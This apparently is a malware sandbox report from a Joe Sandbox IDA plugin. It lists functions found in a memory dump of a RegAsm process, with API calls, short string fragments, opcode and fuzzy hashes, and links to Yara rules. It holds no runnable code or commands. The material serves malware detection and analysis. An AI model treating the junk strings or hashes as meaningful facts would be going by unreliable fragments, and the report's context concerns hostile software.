Opcode ID: 9da8b1234222b0aafb8b3fc8940d2f88cb45ae5217a432052fd4da87163de2ca
Instruction ID: a9f521efd2a2c46b063ecbce395cbb1927191a562d08ac0c9302c0b51827cb25
Opcode Fuzzy Hash: 9da8b1234222b0aafb8b3fc8940d2f88cb45ae5217a432052fd4da87163de2ca
Instruction Fuzzy Hash: 0441A37540C3818ED311EF3CD48832FBFE09B96314F154A2EE4D996392C678894ACB67

Function 0044004B Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 420COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 0043FED4
VariantInit.OLEAUT32(?), ref: 00440071
VariantClear.OLEAUT32(?), ref: 00440130
SysFreeString.OLEAUT32(?), ref: 00440155
SysFreeString.OLEAUT32(?), ref: 00440162
SysFreeString.OLEAUT32(?), ref: 00440179

Strings

7654, xrefs: 0044048D
4`[b, xrefs: 00440430

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: String$Free$Variant$ClearInit
String ID: 4`[b$7654
API String ID: 4205145696-3675246634
Opcode ID: 9da582bd222a9aa3210a227d15e33794fc036b98df7b843830be9b90ece2603a
Instruction ID: c15c9a77a36a85870a6c8e83f66fe4480b167010d9fbe339181f0a578d0a5d72
Opcode Fuzzy Hash: 9da582bd222a9aa3210a227d15e33794fc036b98df7b843830be9b90ece2603a
Instruction Fuzzy Hash: 6BE1EE75A08301DFEB00CF68E881B6EBBB1FB8930AF14482DE985D7291D739D915CB59

Function 0043FD0E Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 403memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043FD6C
SysAllocString.OLEAUT32 ref: 0043FE2C

Strings

7654, xrefs: 0044048D
4`[b, xrefs: 00440430
,/, xrefs: 0043FDD9

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: ,/$4`[b$7654
API String ID: 2525500382-138038313
Opcode ID: 011e93b997d46e8870ce040462fe3f6284c17b45014897ad250b99d8540a381f
Instruction ID: 5c24870ec86159d0f6ecf84723dde93076e3ef2f57b7b7e0ddad74c94e93c31d
Opcode Fuzzy Hash: 011e93b997d46e8870ce040462fe3f6284c17b45014897ad250b99d8540a381f
Instruction Fuzzy Hash: F1E1D075A08301AFEB10CF64DC41B6EBBB1FB89305F14482DF685AB291D739D911CB5A

Function 00401000 Relevance: 11.9, Strings: 8, Instructions: 1867COMMON

Download Yara Rule

Strings

0123456789ABCDEFXP, xrefs: 00401547, 00401589
gfff, xrefs: 0040238B
gfff, xrefs: 00402340
0123456789abcdefxp, xrefs: 00401553, 00401599
@, xrefs: 00403059
A, xrefs: 00402263
gfff, xrefs: 004022D5
-, xrefs: 00402283

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$@$A$gfff$gfff$gfff
API String ID: 0-2771814109
Opcode ID: 60d91501b71ca20af355275aac5581bd6b324532a87e7822ac95ca22a7305489
Instruction ID: ddca72acc18f96ceca311f167404972c65106f1bd8c402654e553bdb633caa3b
Opcode Fuzzy Hash: 60d91501b71ca20af355275aac5581bd6b324532a87e7822ac95ca22a7305489
Instruction Fuzzy Hash: CCD2E3716083418FC714CE29C59436BBBE2ABC9314F18867EE899AB3D1D778DD05CB86

Function 00427B0F Relevance: 10.8, Strings: 8, Instructions: 813COMMON

Download Yara Rule

Strings

?8N, xrefs: 00427BF3
E'I, xrefs: 00427BEB
-17E, xrefs: 00427BE3
7654, xrefs: 00428474, 0042847D
QQ;%, xrefs: 00427C03
7654, xrefs: 00427B64, 00427B6D
=I# , xrefs: 00427BFB
r~B, xrefs: 00427E64

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: -17E$7654$7654$=I# $?8N$QQ;%$r~B$E'I
API String ID: 0-3386696674
Opcode ID: 37c194b4809dd1c00137d7dc201101eebe92735c8c0e734b709c7d09f5c8d5e3
Instruction ID: 60540d3078bd233bb59da47371b54fb6625578c4cae607adf808edf17fed4755
Opcode Fuzzy Hash: 37c194b4809dd1c00137d7dc201101eebe92735c8c0e734b709c7d09f5c8d5e3
Instruction Fuzzy Hash: 1442CB71608311DFD714DF28E880A2AB7E2FF89715F49896DE8858B392D739EC01CB56

Function 0041DD64 Relevance: 10.6, Strings: 8, Instructions: 613COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041E380
Vwvu, xrefs: 0041E029
3_], xrefs: 0041DFFF
{/}-, xrefs: 0041DFE3
;[6Y, xrefs: 0041DFF8
8C-A, xrefs: 0041E006
4`[b, xrefs: 0041E440
7654, xrefs: 0041E3B5

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 3_]$4`[b$4`[b$7654$8C-A$;[6Y$Vwvu${/}-
API String ID: 0-2602927754
Opcode ID: 307ad71cdb71838ec795c4dd14610299abfbd5c82a6174d8d007dc7da4c3e356
Instruction ID: ba1e9d66d155ef7e9119e1be78dddf6f3c512da5b59593db3145263a403de92d
Opcode Fuzzy Hash: 307ad71cdb71838ec795c4dd14610299abfbd5c82a6174d8d007dc7da4c3e356
Instruction Fuzzy Hash: C012ABB4600700DFC7248F25C891BA3B7F2FF46305F14885DE99A8B692D379E891CB99

Function 004012A7 Relevance: 8.4, Strings: 6, Instructions: 940COMMON

Download Yara Rule

Strings

0, xrefs: 00401EF7
@, xrefs: 00402A4B
0, xrefs: 00401E41
i, xrefs: 00402947
0, xrefs: 004024E1
u, xrefs: 004016BC

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$0$0$@$i$u
API String ID: 0-2200626124
Opcode ID: ab89587f8a0daafa244c590f772caad168a2f81082220ddc44e8abb7ed779df5
Instruction ID: 0f02e483ae5546116cb6baed28d9e077716f17be131def69be1fd2f2fc950076
Opcode Fuzzy Hash: ab89587f8a0daafa244c590f772caad168a2f81082220ddc44e8abb7ed779df5
Instruction Fuzzy Hash: 1472F571A0C3428BD318CE28C58471BBBE1ABC5314F148A2EE8D9A73D1D7B8DD45CB86

Function 0042C891 Relevance: 8.3, Strings: 6, Instructions: 837COMMON

Download Yara Rule

Strings

gzyi, xrefs: 0042CD66
vrhz, xrefs: 0042C8D1
cb`d, xrefs: 0042CD6E
4`[b, xrefs: 0042D110
7654, xrefs: 0042D0D3, 0042D0DB
HK, xrefs: 0042CF41

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654$HK$cb`d$gzyi$vrhz
API String ID: 0-2685429167
Opcode ID: 424902dc72ab28ec9b7c09e577cb145ec8479a31a11f362cc29c796f7d8e5cc8
Instruction ID: 3f5d2fb8fb5b53038c321c487b2321c0e33df35c546daf2f5165b83ef3f83226
Opcode Fuzzy Hash: 424902dc72ab28ec9b7c09e577cb145ec8479a31a11f362cc29c796f7d8e5cc8
Instruction Fuzzy Hash: 3A42DCB1608350DFD7009F25E89162FBBE1EF8A349F54492EE4C597352D338D910CB5A

Function 004204A0 Relevance: 6.9, Strings: 5, Instructions: 683COMMON

Download Yara Rule

Strings

wy, xrefs: 00420BB6
^G, xrefs: 00420923, 0042092B
su, xrefs: 00420BAE
`c, xrefs: 00420BCE
[Z], xrefs: 00420554

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ^G$`c$[Z]$su$wy
API String ID: 0-2730888924
Opcode ID: f07032dc12982def7a5bf2984774998718f875f43970d5821979900336bb7d63
Instruction ID: e474b29bb85a6c259ff07e14df36c9a08649fe6536d19ea1481a43bd88640b6a
Opcode Fuzzy Hash: f07032dc12982def7a5bf2984774998718f875f43970d5821979900336bb7d63
Instruction Fuzzy Hash: 5D2296B55083509FC700EF59E881A2FBBE0AF95358F488D1DF4D48B262D37AD944CB9A

Function 0042BB00 Relevance: 6.7, Strings: 5, Instructions: 428COMMON

Download Yara Rule

Strings

7654, xrefs: 0042BE64, 0042BE6D
4`[b, xrefs: 0042C090
7654, xrefs: 0042C053, 0042C05B
4`[b, xrefs: 0042BEB0
L], xrefs: 0042BBCF

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$4`[b$7654$7654$L]
API String ID: 0-1286059558
Opcode ID: 757b9c9f247dd65a548c9dc266fa73467f186f5a48385a5314f930bee4029ea9
Instruction ID: 287429e8acf0308d46d64af027b8c2561fec00fe66fe95d8ce0ef9e28d63c3ce
Opcode Fuzzy Hash: 757b9c9f247dd65a548c9dc266fa73467f186f5a48385a5314f930bee4029ea9
Instruction Fuzzy Hash: DAE1ADB5608344DFE3209F25E881B2FB7E5FB85345F54882DEAC887252DB3AD910CB56

Function 0040F7E0 Relevance: 6.6, Strings: 5, Instructions: 400COMMON

Download Yara Rule

Strings

rF, xrefs: 0040F90F
M|, xrefs: 0040F917
s, xrefs: 0040F907
6, xrefs: 0040FA0F
H, xrefs: 0040F7FE

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: s$6$H$M|$rF
API String ID: 0-3047902030
Opcode ID: a0a9c5e50eae0b5be39a8be490fd2323b68d1735eebcbb5389087b95049dffa7
Instruction ID: afb9f173eede57e33b54f2f4df428e609b2eb683b10d7af656f29c121230f651
Opcode Fuzzy Hash: a0a9c5e50eae0b5be39a8be490fd2323b68d1735eebcbb5389087b95049dffa7
Instruction Fuzzy Hash: 40D17B7050C3809BD321DF18D49462FBBE5AB82744F18493EE8D56B392D339D949CBAB

Function 004340F5 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 452COMMON

Download Yara Rule

Strings

J(Z4, xrefs: 00434387
#,), xrefs: 00434979

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: #,)$J(Z4
API String ID: 0-1033251941
Opcode ID: 71f396c22e8098a9a3ea3581ea4eb6afead878c0d08d22da93183c486a730162
Instruction ID: ee2a4b736eeb26dd3486e01a631b6fd6690cbdf8a78c7fccda172515344799a2
Opcode Fuzzy Hash: 71f396c22e8098a9a3ea3581ea4eb6afead878c0d08d22da93183c486a730162
Instruction Fuzzy Hash: E5F1D071604B40CBE7658F35D490BE7BBE2AB4A305F14886ED5EB87282CB39F505CB25

Function 0042A345 Relevance: 4.3, Strings: 3, Instructions: 529COMMON

Download Yara Rule

Strings

,+, xrefs: 0042A186
;9, xrefs: 0042A0B7, 0042A0C3
lk, xrefs: 0042A3B4

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,+$lk$;9
API String ID: 0-1734778162
Opcode ID: fb477b06c671ab3640e2d5caf1ace8f2a13c8c6b58880ea85eaf716b54e670fa
Instruction ID: c9bf8e021ae438ad3888fe5eaf2f287ab2778ae50bd9558bb26f3a013a9aec5c
Opcode Fuzzy Hash: fb477b06c671ab3640e2d5caf1ace8f2a13c8c6b58880ea85eaf716b54e670fa
Instruction Fuzzy Hash: E002A670608352CBC324DF28E58066BB3E1FF85745F98891EE8C587221E779D914DBAB

Function 00426F20 Relevance: 4.2, Strings: 3, Instructions: 405COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00427350
defg, xrefs: 0042713A
7654, xrefs: 00427313, 0042731B

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654$defg
API String ID: 0-754973257
Opcode ID: fe4c2263e7f541097cd7e1276ef9b0ddbefc2d291b8011f9bdf8265acc152e94
Instruction ID: 5c7ae5f1a36bc8351c5dc06062275f31aaba2ea41b8746b841229fb7d44012db
Opcode Fuzzy Hash: fe4c2263e7f541097cd7e1276ef9b0ddbefc2d291b8011f9bdf8265acc152e94
Instruction Fuzzy Hash: C3C1AC716083209BD711EF14E881A2BB7E4EF95354F89095EF8C19B351E339D914CBAB

Function 00408810 Relevance: 4.1, Strings: 3, Instructions: 395COMMON

Download Yara Rule

Strings

), xrefs: 00408896
IEND, xrefs: 00408C5C
), xrefs: 0040888C

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 5610f58ec79ad5bb0dc06f3c06bd7ab06b850017f9ba25a94eb0939a408b002b
Instruction ID: 88cc50b77c1398cfc1833f03bafd4b4e3e3ea05d3db966b7175162df85094bf9
Opcode Fuzzy Hash: 5610f58ec79ad5bb0dc06f3c06bd7ab06b850017f9ba25a94eb0939a408b002b
Instruction Fuzzy Hash: 09E1C171A087019FE310DF29C88071ABBE0BB94314F14463EE9D5AB3D2DB79E915CB96

Function 004450E0 Relevance: 3.1, Strings: 2, Instructions: 576COMMON

Download Yara Rule

Strings

7654, xrefs: 00445144, 0044514D
f, xrefs: 004452A6

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7654$f
API String ID: 0-930265988
Opcode ID: 579144abd9ad0ecb759efeeddbf896163be559cf23dfe97a4952c1ee92b0f94d
Instruction ID: de19403edc75124fb8fa16651fcd35b7f7b8ffe125996a06d8df55fcce46686f
Opcode Fuzzy Hash: 579144abd9ad0ecb759efeeddbf896163be559cf23dfe97a4952c1ee92b0f94d
Instruction Fuzzy Hash: 6E12D1716087419FEB15CF18C880B2FBBE1ABC4314F588A2EF895873A2D739D845CB56

Function 0042D56C Relevance: 3.1, Strings: 2, Instructions: 553COMMON

Download Yara Rule

Strings

7654, xrefs: 0042D823
4`[b, xrefs: 0042D860

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: 4ebe84494b6721855754e88454bd869297922db48c31a06956ead8982e28ba80
Instruction ID: 4bc0d7d0b4372d09d1f80951b4dd8e72c0f01cae245f05c3a22e09897f17cac6
Opcode Fuzzy Hash: 4ebe84494b6721855754e88454bd869297922db48c31a06956ead8982e28ba80
Instruction Fuzzy Hash: 02122370A08341DFD724CF28E89071ABBE2BF8A316F14896DE4D8973A2D775D904CB56

Function 00403790 Relevance: 2.9, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

Inf, xrefs: 004037E7
NaN, xrefs: 004037EE

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: f3226641ccffb084b943e03a89841c171065b1cd8ecf88249c95162ffa2b7308
Instruction ID: cfcbd5781c5794fd878052524ebf2c83b7e2996ae9355b3ff982965262b6e72e
Opcode Fuzzy Hash: f3226641ccffb084b943e03a89841c171065b1cd8ecf88249c95162ffa2b7308
Instruction Fuzzy Hash: 7CE1D6B2A083019BC704CF29C48161BBBE5EBC4750F258A3EF899A73D0E774DD458B86

Function 0041CFF0 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

7654, xrefs: 0041D383
4`[b, xrefs: 0041D3C0

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: c0f58f158a3409f8100f4a7b6bbb32796ecc7b37d8a9628118476fa5228a5e34
Instruction ID: 97e3d8432fa62b873f2236c54981c5df7dc0733d72ba7613edc951da59989f30
Opcode Fuzzy Hash: c0f58f158a3409f8100f4a7b6bbb32796ecc7b37d8a9628118476fa5228a5e34
Instruction Fuzzy Hash: D7A122B1904214DBD3219F14CC42BA773B4FF51359F08456EE88A873A2E739EC50C79A

Function 0042D58E Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

7654, xrefs: 0042D823
4`[b, xrefs: 0042D860

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: e4a64c07486ec4eee9284e1d1d98adb02db342f8a0de0245d192b4abb41fb210
Instruction ID: 5878a3ae7455ddbe66d1b8aab6ad714c336ee248068d822dee8781cd81fb895b
Opcode Fuzzy Hash: e4a64c07486ec4eee9284e1d1d98adb02db342f8a0de0245d192b4abb41fb210
Instruction Fuzzy Hash: 01D13770A08390DFD720CF24E89075AB7E2AF9A316F18496DE4D997392D375ED04CB1A

Function 0042C390 Relevance: 2.9, Strings: 2, Instructions: 361COMMON

Download Yara Rule

Strings

7654, xrefs: 0042C3C3, 0042C3CB
e, xrefs: 0042C710

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$e
API String ID: 2994545307-2460420260
Opcode ID: f7c379ae5121c6bd7f5f3bf37a8e5cd38f458bbd85b3cc10accd3093f96a0b56
Instruction ID: 11945eaa199fbd2feb2a77c93107578b6d38bce28f05eb1bcc10d1619140c484
Opcode Fuzzy Hash: f7c379ae5121c6bd7f5f3bf37a8e5cd38f458bbd85b3cc10accd3093f96a0b56
Instruction Fuzzy Hash: 5AA1F0716083219FD710EF14E8D0A2FB7E1EF95354F94892EE98597352E338E841CB9A

Function 00434DF6 Relevance: 2.8, Strings: 2, Instructions: 301COMMON

Download Yara Rule

Strings

J(Z4, xrefs: 0043507A
O<>5, xrefs: 00434DFE

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: J(Z4$O<>5
API String ID: 0-1381569939
Opcode ID: 2b3eafb8382073a923ed8343f70dfa28e3e80688e5264b3e7f6cd2adb108814f
Instruction ID: 6565b98a73022d45040d5be856969b21091b835410caec50d7f7389bae59b378
Opcode Fuzzy Hash: 2b3eafb8382073a923ed8343f70dfa28e3e80688e5264b3e7f6cd2adb108814f
Instruction Fuzzy Hash: 78A17970508B818AE766CF39C050BA3FBE1AF1A305F54585ED4EB8B782C77AB405CB65

Function 00437620 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00437805
00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 004376A2

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-2492670020
Opcode ID: 3062d5efe69ceb85abb1b62a397233c9323a09391f451b3eb2ef24bbef9aa3a1
Instruction ID: 6111d259e755e12c00d3ecab6662fed1963f18ecac40f8d090cae3b405bc9ae5
Opcode Fuzzy Hash: 3062d5efe69ceb85abb1b62a397233c9323a09391f451b3eb2ef24bbef9aa3a1
Instruction Fuzzy Hash: 61610573B1D9804BDB3C9A3D4C6226A7A435FDB334B2C936AE5F2C73E1D52988018345

Function 0042A2F9 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

,+, xrefs: 0042A186
;9, xrefs: 0042A0B7, 0042A0C3

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,+$;9
API String ID: 0-1035581042
Opcode ID: fd429c52b9270381125f2c7ff991b4681d229a7dd8ccae4c976d6f9e66088ac5
Instruction ID: a8d1bfba6cff5693b5a22f2e246a050cfb9519439ae3469259881602220de6ad
Opcode Fuzzy Hash: fd429c52b9270381125f2c7ff991b4681d229a7dd8ccae4c976d6f9e66088ac5
Instruction Fuzzy Hash: 24715374108390CBD7208F24D940B6BB7F1FF86305F949A1EE9D987221EB79D810CB5A

Function 0042A274 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

,+, xrefs: 0042A186
;9, xrefs: 0042A0B7, 0042A0C3

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,+$;9
API String ID: 0-1035581042
Opcode ID: 6c514a58eddc6375df67e0e40d0af6a33b7b51b1912c0f5f1b71658d682d6659
Instruction ID: d75497c7bc5a3c3f258d38026d720fbab9c12da0385263baf3a294c8c598bd3d
Opcode Fuzzy Hash: 6c514a58eddc6375df67e0e40d0af6a33b7b51b1912c0f5f1b71658d682d6659
Instruction Fuzzy Hash: 7E614374108390CBD7248F24E940B6BB7F1FF86305F949A5EE9D887221EB79D810CB5A

Function 0044AF10 Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0044AFA3, 0044AFAB
@, xrefs: 0044AF60

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @$MNOP
API String ID: 2994545307-2234187807
Opcode ID: e8eb8e7b710596d1c74c1b8591662db9ad2ca5a2e960669c0b6428914b1691a7
Instruction ID: 4cbe3da95016eb5cdb85334a5a7d98617c44c4b6d2decb90e9c5df58e2c316ea
Opcode Fuzzy Hash: e8eb8e7b710596d1c74c1b8591662db9ad2ca5a2e960669c0b6428914b1691a7
Instruction Fuzzy Hash: 773168709093009BE714DF15D880A2BBBF5EF9A319F14892EE98897351D339D914CB9A

Function 00405400 Relevance: 1.8, Strings: 1, Instructions: 570COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 00405768

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: d7b07ed70faec5ae0229b128cf20a3fd72730703604141df1a9ea8e470dfb83c
Instruction ID: a5a990b7d37f07a136729ee37501cef67c4ba19131cd56b77464573e07893e63
Opcode Fuzzy Hash: d7b07ed70faec5ae0229b128cf20a3fd72730703604141df1a9ea8e470dfb83c
Instruction Fuzzy Hash: 8A12D5B6A08B418BE7158E14C480727BBA2EFE0314F19867ED8596B3D1E779DC05CF4A

Function 00426CA0 Relevance: 1.8, APIs: 1, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044EB80,00000000,00000001,0044EB70), ref: 00426CC9

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 23a7ae71985ea26ccd963fc31c7aca8cae070c80405dbe57fff8fe91e8626e74
Instruction ID: aaa0f5ddf04a0fb17491854a9ed1dc8b5669499049bb0ea055afc95c03e17e5c
Opcode Fuzzy Hash: 23a7ae71985ea26ccd963fc31c7aca8cae070c80405dbe57fff8fe91e8626e74
Instruction Fuzzy Hash: 586100B53002149BDB20DB24DC92BB733B4FF81358F564519F9468B390E778E805C76A

Function 00449390 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

P, xrefs: 00449537

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: b4251f7723f8745f7b2b3e976eda3b15f31dcf2fd24cd5e3171029a2dd935bc3
Instruction ID: 3b4be68ae0bb154b0f5282f7702363db0b67a1e70ae851dab57422b1ed72f487
Opcode Fuzzy Hash: b4251f7723f8745f7b2b3e976eda3b15f31dcf2fd24cd5e3171029a2dd935bc3
Instruction Fuzzy Hash: DDD1F3729082609FE726CE18D88071FB6E1EB85718F15863DE8B5AB381C779DC06D7C6

Function 00431370 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

", xrefs: 00431658

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: ebf93012f695f814ea8beb274b67aa73a9487f93ba687a60f16075264e124bcf
Instruction ID: 4bf39b719c747955085c095eee2413a709a75f6ba2d808f9bf0869d59952773e
Opcode Fuzzy Hash: ebf93012f695f814ea8beb274b67aa73a9487f93ba687a60f16075264e124bcf
Instruction Fuzzy Hash: D6C12872A083009BD714CF25C491B6BB7E9AF88354F1C992FE896873A2D738DD44C796

Function 0042DEF8 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

B, xrefs: 0042E2E5

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-3806887055
Opcode ID: 881487b94f34c037e028dc03176547ea1a1a34661b7e3cdf011bdcf23930bfef
Instruction ID: dda79431a7a381354eb7992f4da0d9bb5ed59ed8d5ad5917760c71f259a4ecc9
Opcode Fuzzy Hash: 881487b94f34c037e028dc03176547ea1a1a34661b7e3cdf011bdcf23930bfef
